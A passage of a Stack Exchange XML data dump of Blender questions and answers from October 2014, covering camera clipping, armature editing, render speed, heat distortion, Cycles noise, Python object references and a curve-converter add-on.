  <row Id="18286" PostTypeId="1" AcceptedAnswerId="18291" CreationDate="2014-10-28T11:46:25.130" Score="16" ViewCount="35526" Body="&lt;p&gt;When I go to camera perspective, there are parts of my object that I can't see. I tried adding and deleting my camera a lot of times and positioning it so that the objects I would like to see on my camera view will be seen but to no avail, I still get the same problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be wrong with my camera set-up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xdbqd.png&quot; alt=&quot;User Ortho View&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4GdXZ.png&quot; alt=&quot;Camera Perspective View&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="241" LastEditDate="2014-10-28T12:15:14.260" LastActivityDate="2020-01-20T17:03:45.863" Title="Objects disappear when looking through camera" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ClosedDate="2014-10-28T22:10:33.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="18287" PostTypeId="1" CreationDate="2014-10-28T11:48:00.147" Score="1" ViewCount="1180" Body="&lt;p&gt;I am trying to adjust mesh orientation relative to axes. The mesh is quite complex and also has complex armature. Armature bones are very precisely positioned relative to the mesh (this is needed since after exporting to Ogre, I'm accessing the bones positions during animation form C++ code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select mesh and go to Edit mode, I can press &quot;R&quot; or &quot;G&quot; to adjust mesh position. But armature remains at the old position. It seems I have to goto edit mode for armature and rotate/shift it too. But this most likely will break precise adjustment between mesh and armature - because I must apply the same transform to both. Manual readjusting is a huge amount of work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you advice how to rotate shift mesh and armature simultaneously in Edit mode?&lt;/p&gt;&#xA;" OwnerUserId="7731" LastActivityDate="2020-09-04T12:25:07.410" Title="Mesh/edit mode: how rotate TOGETHER with armature" Tags="&lt;mesh&gt;&lt;armature&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18288" PostTypeId="2" ParentId="18286" CreationDate="2014-10-28T11:53:59.183" Score="2" Body="&lt;p&gt;One possibility is that you are not rendering or viewing all of your layers. According the the posted image, the are several layers with images that aren't visible. Press the key above tab to view all layers. &lt;/p&gt;&#xA;" OwnerUserId="6327" LastActivityDate="2014-10-28T11:53:59.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18289" PostTypeId="1" CreationDate="2014-10-28T12:38:53.430" Score="2" ViewCount="255" Body="&lt;p&gt;I need to render a small (30s), text only scene, in a very fast way. The result needs then to be added on top of a multilayer exr frameset, to produce the final video.&#xA;I'm using blender-internal, and having already disabled raytrace, textures, AO, etc... the question is: what can be done (maybe at code level) to reduce the rendering time as much as possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Regards GLoureiro&lt;/p&gt;&#xA;" OwnerUserId="7733" LastActivityDate="2014-10-28T20:07:36.750" Title="Improve text only rendering time" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18290" PostTypeId="2" ParentId="18289" CreationDate="2014-10-28T12:41:47.487" Score="1" Body="&lt;p&gt;It seems like you have done some of things I would have already suggested.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use Blender-internal or OpenGL render.&lt;/li&gt;&#xA;&lt;li&gt;Reduce anti-aliasing samples.&lt;/li&gt;&#xA;&lt;li&gt;Use a shadeless material&lt;/li&gt;&#xA;&lt;li&gt;Don't use any lamps.&lt;/li&gt;&#xA;&lt;li&gt;Tweak text resolution (for fewer triangles)&lt;/li&gt;&#xA;&lt;li&gt;Experiment with tile size (larger tiles may give better performance)&lt;/li&gt;&#xA;&lt;li&gt;Lock the user interface while rendering.&lt;/li&gt;&#xA;&lt;li&gt;Render from the command line. (means you can't use OpenGL easily&lt;br&gt;see  &lt;a href=&quot;https://blender.stackexchange.com/q/2573/599&quot;&gt;Render with openGL from the command line?&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;li&gt;Check which formats save to disk fastest &lt;em&gt;(PNG with low compression is quite good)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-10-28T20:07:36.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18291" PostTypeId="2" ParentId="18286" CreationDate="2014-10-28T12:43:42.700" Score="24" Body="&lt;p&gt;I guess this is a &lt;strong&gt;clipping distance&lt;/strong&gt; issue. Select your &lt;em&gt;Camera&lt;/em&gt;, go to the &lt;em&gt;Camera Data&lt;/em&gt; tab and check the &lt;em&gt;End&lt;/em&gt; value of your &lt;em&gt;Clipping Range&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.8x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3ajF5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ajF5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G4mFR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2020-01-20T17:03:45.863" LastActivityDate="2020-01-20T17:03:45.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18292" PostTypeId="1" AcceptedAnswerId="18336" CreationDate="2014-10-28T13:08:06.160" Score="2" ViewCount="1723" Body="&lt;p&gt;I am working on an addon that creates siding, it also allows you to cut out rectangles in it for windows and doors. It uses &lt;em&gt;Boolean&lt;/em&gt; modifiers for this. When you select &lt;em&gt;bricks&lt;/em&gt; it cuts the brick then it cuts the mortar then it joins the two, but currently I am having trouble getting it to cut the mortar properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the code from the &lt;em&gt;Text Editor&lt;/em&gt;, go to &lt;em&gt;Add Mesh&lt;/em&gt; &gt; &lt;em&gt;JARCH Vis&lt;/em&gt; &gt; &lt;em&gt;Add Siding&lt;/em&gt;, then once the object is added go to &lt;em&gt;Properties&lt;/em&gt; &gt; &lt;em&gt;Modifiers&lt;/em&gt; &gt; &lt;em&gt;JARCH Vis&lt;/em&gt;, then change the &lt;em&gt;Material&lt;/em&gt; to &lt;em&gt;bricks&lt;/em&gt;, click &lt;em&gt;Cutouts&lt;/em&gt; and enter something like &lt;code&gt;5, 2, 2, 2&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will notice how it does cut through the brick, but not through the mortar. The code for all this starts at line &lt;code&gt;1,524&lt;/code&gt;. It is like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects.active = mortar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;isn't switching right, but if you check &lt;code&gt;active object&lt;/code&gt; it is correct. So I don't know why the modifier is being applied to &lt;em&gt;o&lt;/em&gt; but not &lt;em&gt;mortar&lt;/em&gt;. Here is the &lt;a href=&quot;https://drive.google.com/file/d/0B35OsPAJ46kvNVhTOU5FUzh2aXM/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;python file&lt;/a&gt;   &lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="2617" LastEditDate="2014-10-28T17:48:48.903" LastActivityDate="2014-10-29T14:42:47.763" Title="Setting active object through python issues" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18293" PostTypeId="2" ParentId="18266" CreationDate="2014-10-28T14:27:56.957" Score="10" Body="&lt;p&gt;The only tool I've ever needed is &lt;a href=&quot;https://www.ffmpeg.org/&quot; rel=&quot;noreferrer&quot;&gt;ffmpeg&lt;/a&gt;. Here is my standard &quot;recipe&quot; for command-line conversion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert default Blender sequenced PNGs at 24fps to a lossless 24fps &lt;a href=&quot;http://en.wikipedia.org/wiki/YUV&quot; rel=&quot;noreferrer&quot;&gt;YUV420p&lt;/a&gt; colorspace, &lt;a href=&quot;http://en.wikipedia.org/wiki/X264&quot; rel=&quot;noreferrer&quot;&gt;x264&lt;/a&gt; format video:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ffmpeg -r 24 -i %04d.png -c:v libx264 -r 24 -pix_fmt yuv420p -qp 0 output.mp4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The quality is determined by &quot;-qp&quot;, with 0 best (lossless) quality, 51 worst. Also, know that the first &quot;-r&quot; determines how long each PNG will be shown, while the second &quot;-r&quot; determines the actual framerate of the output video. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example using that same command above, but starting from &lt;code&gt;0100.png&lt;/code&gt;, with each image viewable for 5 seconds in a video with a framerate of 30fps, plus a forced-rescale to 1920x1080 thrown in too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ffmpeg -r 1/5 -start_number 100 -i %04d.png -c:v libx264 -r 30 -s 1920x1080 -pix_fmt yuv420p -qp 0 output.mp4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="621" LastEditorUserId="621" LastEditDate="2014-10-30T12:53:50.907" LastActivityDate="2014-10-30T12:53:50.907" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18294" PostTypeId="2" ParentId="3522" CreationDate="2014-10-28T14:57:44.060" Score="0" Body="&lt;p&gt;Another way is to use &lt;a href=&quot;https://www.inkscape.org/en/&quot; rel=&quot;nofollow&quot;&gt;Inkscape&lt;/a&gt; to create a font and save it as a .svg file.  Then in Blender, enable the .svg import addon and import the .svg file that you saved.&lt;/p&gt;&#xA;" OwnerUserId="1328" LastEditorUserId="5705" LastEditDate="2014-12-18T17:40:54.813" LastActivityDate="2014-12-18T17:40:54.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18295" PostTypeId="1" CreationDate="2014-10-28T17:37:31.460" Score="3" ViewCount="2139" Body="&lt;p&gt;So I made an image in the uv image editor thats really simple (really just a line) and when I made the new image I checked the alpha box. but the background is simply black. Is there a way to make a new image in the uv editor that is nothing but the alpha to start with?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-10-28T17:42:50.820" Title="uv image editor alpha?" Tags="&lt;image&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18296" PostTypeId="1" AcceptedAnswerId="18297" CreationDate="2014-10-28T17:38:34.647" Score="14" ViewCount="4956" Body="&lt;p&gt;How can I make a &lt;a href=&quot;http://en.wikipedia.org/wiki/Mirage#Heat_haze&quot;&gt;heat distortion&lt;/a&gt; effect, like you might see around the exhaust of a jet engine?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-28T19:22:29.103" LastActivityDate="2014-10-28T19:22:29.103" Title="How to make a heat distortion effect?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18297" PostTypeId="2" ParentId="18296" CreationDate="2014-10-28T17:38:34.647" Score="24" Body="&#xA;&#xA;&lt;h1&gt;Simulation&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Unfortunately since it's not yet possible to &lt;a href=&quot;https://blender.stackexchange.com/q/8113/599&quot;&gt;vary the IOR inside an object&lt;/a&gt;, it can't be simulated completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can at least use a smoke simulation to distort things based on simulated airflow.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a fire simulation where the hot air should be. It doesn't have to be very high resolution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SgHa4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the domain to an empty layer (e.g. layer 2), then setup a material for it with some random noise:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/229aV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will result in something like this, which we can use to distort the rest of the scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/FlawlessFluidAfricanclawedfrog&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/FlawlessFluidAfricanclawedfrog.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new renderlayer and set it to mask the layer the main scene. Also set the main scene renderlayer to exclude the smoke:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W5gDA.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/3ly4W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I set the number of samples taken for the smoke render layer to 1, and disabled the main passes (using only the emission pass). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then setup the composite nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AvnO9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/HeavySorrowfulAfricanmolesnake&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/HeavySorrowfulAfricanmolesnake.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-10-28T18:26:08.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18298" PostTypeId="2" ParentId="18295" CreationDate="2014-10-28T17:39:17.693" Score="1" Body="&lt;p&gt;Wait, nevermind, I made a new image, and where the color is originally black, I see theres an alpha slider.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-10-28T17:39:17.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18299" PostTypeId="2" ParentId="18295" CreationDate="2014-10-28T17:42:50.820" Score="3" Body="&lt;p&gt;When creating a new image in the &lt;em&gt;UV Image Editor&lt;/em&gt;, change the &lt;em&gt;Alpha&lt;/em&gt; channel of the &lt;em&gt;Color&lt;/em&gt; to be 0. Then be sure that the &lt;em&gt;Alpha&lt;/em&gt; check box is checked.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BODE8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-28T17:42:50.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18300" PostTypeId="2" ParentId="18267" CreationDate="2014-10-28T17:47:51.243" Score="1" Body="&lt;p&gt;First sentence from the &lt;a href=&quot;https://docs.python.org/3.4/library/copy.html&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; provided in the question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Assignment statements in Python do not copy objects, they create bindings between a target and an object&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You assign / bind the &lt;code&gt;mathutils.Vector&lt;/code&gt; object stored in the attribute &lt;code&gt;co&lt;/code&gt; to the variable / name &lt;code&gt;v&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't copy anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;co.copy()&lt;/code&gt; to get a &lt;strong&gt;new instance&lt;/strong&gt; of the vector and assign it to &lt;code&gt;v&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most vector operations and methods like &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;cross&lt;/code&gt;, &lt;code&gt;dot&lt;/code&gt; will also return a new instance for the result. So if you plan to use some of these maybe you don't need &lt;code&gt;.copy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done behind the scenes for immutable objects like strings or tuples. As soon as you make a change to a tuple or a string you get a new instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if the object is mutable like a list it works the same way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = [1, 2, 3]&#xA;b = a&#xA;b[0] = 4&#xA;a[0] #-&amp;gt; 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-10-28T18:08:07.580" LastActivityDate="2014-10-28T18:08:07.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18301" PostTypeId="1" CreationDate="2014-10-28T17:49:32.940" Score="1" ViewCount="200" Body="&lt;p&gt;How to rotate an object like a notebook lid? Using &lt;kbd&gt;R&lt;/kbd&gt; does not rotate around the bottom of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the exact example &lt;a href=&quot;http://youtu.be/pDaLQtPIRd4&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7737" LastEditorUserId="599" LastEditDate="2014-10-28T18:11:21.470" LastActivityDate="2014-10-28T19:29:24.487" Title="How to animate a opening lid?" Tags="&lt;animation&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-10-28T22:10:22.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="18302" PostTypeId="2" ParentId="16122" CreationDate="2014-10-28T18:22:30.503" Score="1" Body="&lt;p&gt;Ok, I figured it out. The other answers seemed to assume you were not on a Mac or that you were using a physical mouse. If you have a physical mouse (with more than one button) attached, your &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot;&gt; RMB&lt;/kbd&gt; should work to select. If not, try checking your mouse settings to make sure a right click is really a right click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a multi-touch track pad a two finger click might work. If not go into your trackpad settings to see what combination of presses equals a right mouse button click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I felt really dumb after figuring this out by accident. I spent a day clicking again and again grumbling against stupid Blender. &lt;/p&gt;&#xA;" OwnerUserId="7688" LastEditorUserId="2217" LastEditDate="2014-10-28T18:29:50.533" LastActivityDate="2014-10-28T18:29:50.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18303" PostTypeId="1" CreationDate="2014-10-28T18:24:26.753" Score="0" ViewCount="1738" Body="&lt;p&gt;So, I manually created a navigation mesh (i.e. added and edited a plane mesh &gt; changed the physics type in bge to navigation mesh). I then added a steering actuator (path following) to my human model, set-up the target object and used the navigation mesh I just created. But when I press P, the human model doesn't follow the path of the navigation mesh. What it does is walk through a path that doesn't have a navigation mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jlVYa.png&quot; alt=&quot;Problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to make the actor object (human model) to use the navigation mesh as the path like so,&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hLCkf.png&quot; alt=&quot;Object following the navigation mesh path&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my logic set-up&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4d4CN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the human model can't detect any obstacles along the way, but the is another problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Building the navigation mesh using the properties in the Scene also doesn't work&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2014-10-28T19:46:17.133" LastActivityDate="2014-10-28T20:35:42.597" Title="Object doesn't follow the navigation mesh path using steering actuator" Tags="&lt;mesh&gt;&lt;game-engine&gt;&lt;physics&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18304" PostTypeId="1" CreationDate="2014-10-28T19:02:36.260" Score="24" ViewCount="138497" Body="&lt;p&gt;So this is my first try with cycles and I was wondering what can I do to make the image clearer? &lt;img src=&quot;https://i.stack.imgur.com/wxTNV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5768" LastEditorUserId="2617" LastEditDate="2014-10-28T20:55:49.217" LastActivityDate="2018-03-19T14:37:46.153" Title="How To Reduce Noise In Cycles Render" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="24" ClosedDate="2018-03-19T22:07:37.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="18305" PostTypeId="2" ParentId="18304" CreationDate="2014-10-28T19:03:49.880" Score="11" Body="&lt;p&gt;You need to Increase the Samples. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Psuua.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastActivityDate="2014-10-28T19:03:49.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18306" PostTypeId="2" ParentId="18303" CreationDate="2014-10-28T19:21:10.517" Score="1" Body="&lt;p&gt;Instead of setting a &quot;Navigation Mesh&quot; physics type on an existing object, you should generate the navigation mesh via the relevant button in the scene properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my tests, that seems to work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a tutorial for that procedure: &lt;a href=&quot;https://www.youtube.com/watch?v=aMWeTXL98mM&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=aMWeTXL98mM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a working demo: &lt;a href=&quot;https://www.dropbox.com/s/asagofdegiuacgt/nav_mesh.blend?dl=1&quot; rel=&quot;nofollow&quot;&gt;nav_mesh.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorUserId="6355" LastEditDate="2014-10-28T20:35:42.597" LastActivityDate="2014-10-28T20:35:42.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18307" PostTypeId="2" ParentId="18304" CreationDate="2014-10-28T19:26:47.510" Score="36" Body="&lt;p&gt;This is a common issue with cycles, and is caused by many factors. As your scene appears to not have any glossy materials, increasing sample amount is a good place to start. If you get up near 1,000 samples, and it is not returning a good image, you can try these things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use Clamp&lt;/strong&gt;&#xA;This method is used mostly to remove the characteristic &quot;fireflies&quot; in cycles that appear when there is any quantity of glossy objects, or if there is poor lighting. Clamp indirect is especially effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jb4hx.png&quot; alt=&quot;Use Clamp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For animations it may also be a good idea to &lt;strong&gt;vary the seed value&lt;/strong&gt; with keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multiple Importance Sampling&lt;/strong&gt;&#xA;This is fairly straightforward, you can copy the settings below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AMjg2.png&quot; alt=&quot;Multiple Importance Sampling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Filter Glossy/Bounces&lt;/strong&gt;&#xA;You can use these settings to advantage as well,  try filter glossy at 1 for starts. See &lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/settings/scene/render/integrator.html&quot; rel=&quot;noreferrer&quot;&gt;this page&lt;/a&gt;&lt;/strong&gt; for more details and an in depth explanation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RzdxL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Despeckle/Bilateral Blur Nodes&lt;/strong&gt;&#xA;This method uses the compositor and reduces noise fairly effectually, sadly at the loss of quality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other things to try are &lt;strong&gt;lamp strength&lt;/strong&gt; and &lt;strong&gt;lamp size&lt;/strong&gt;.&#xA;Visit the &lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/settings/scene/render/index.html&quot; rel=&quot;noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/strong&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorDisplayName="user27640" LastEditDate="2017-08-01T20:25:23.353" LastActivityDate="2017-08-01T20:25:23.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18308" PostTypeId="2" ParentId="18301" CreationDate="2014-10-28T19:29:24.487" Score="1" Body="&lt;p&gt;Position your cursor at the point you want your object to rotate around and snap the objects origin to the cursor.&lt;/p&gt;&#xA;" OwnerUserId="7703" LastActivityDate="2014-10-28T19:29:24.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18309" PostTypeId="2" ParentId="17996" CreationDate="2014-10-28T19:44:53.480" Score="1" Body="&lt;p&gt;Animate your tree using shape keys. Remember that the verts move more or less straight to the target so you may have to do some tweaking. Doesn't take a lot of movement unless your wind is very strong. Set the minimum to -1 to get a full range. Once your shape key is made, set a key at mid position. Open your graph editor and with the shape key selected apply noise to it. Adjust the wave length to slow it down and adjust the intensity so it doesn't go beyond -1 or +1. Apply different shape keys for forward/backward and left/right with a different noise modifier for each that will give you a random looking movement. They still will all move the same unless you duplicate the tree and change the paramenters. The more trees you have the less they all appear to move together.&lt;/p&gt;&#xA;" OwnerUserId="7703" LastActivityDate="2014-10-28T19:44:53.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18310" PostTypeId="2" ParentId="17940" CreationDate="2014-10-28T20:00:03.490" Score="2" Body="&lt;p&gt;When you create your material, just add a transparency node and mix node. You don't need more materials, just add the shaders and key frame the transparency with the mix node. You can group them and reuse also to save time. That's for Cycles. If you use BI, just key frame the alpha in the output node of your material.&lt;/p&gt;&#xA;" OwnerUserId="7703" LastActivityDate="2014-10-28T20:00:03.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18311" PostTypeId="2" ParentId="17902" CreationDate="2014-10-28T20:24:38.853" Score="9" Body="&lt;p&gt;Well I found some time to try and code an add-on that will do what I think you are talking about. It is found &lt;a href=&quot;https://drive.google.com/file/d/0B35OsPAJ46kvbDBhOERXNktncm8/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, or on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?353056-ADDON-Curve-Converter&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt;. To use:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add Curve, and Bevel&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a mesh object like a cube&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the &lt;code&gt;modifiers&lt;/code&gt; tab and select the curve's name under the &lt;code&gt;Curve Conversion&lt;/code&gt; part&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;code&gt;Update Mesh&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;What it does is automatically converts the curve to a mesh and replaces the current objects data. It will respect any &lt;em&gt;materials&lt;/em&gt; or &lt;em&gt;modifiers&lt;/em&gt; added before you press &lt;code&gt;Update Mesh&lt;/code&gt;. The &lt;code&gt;Respect Scale&lt;/code&gt; option copies the scale from the curve. So if you scale the curve up the mesh object does the same.&lt;/p&gt;&#xA;&lt;p&gt;Let me know if this is 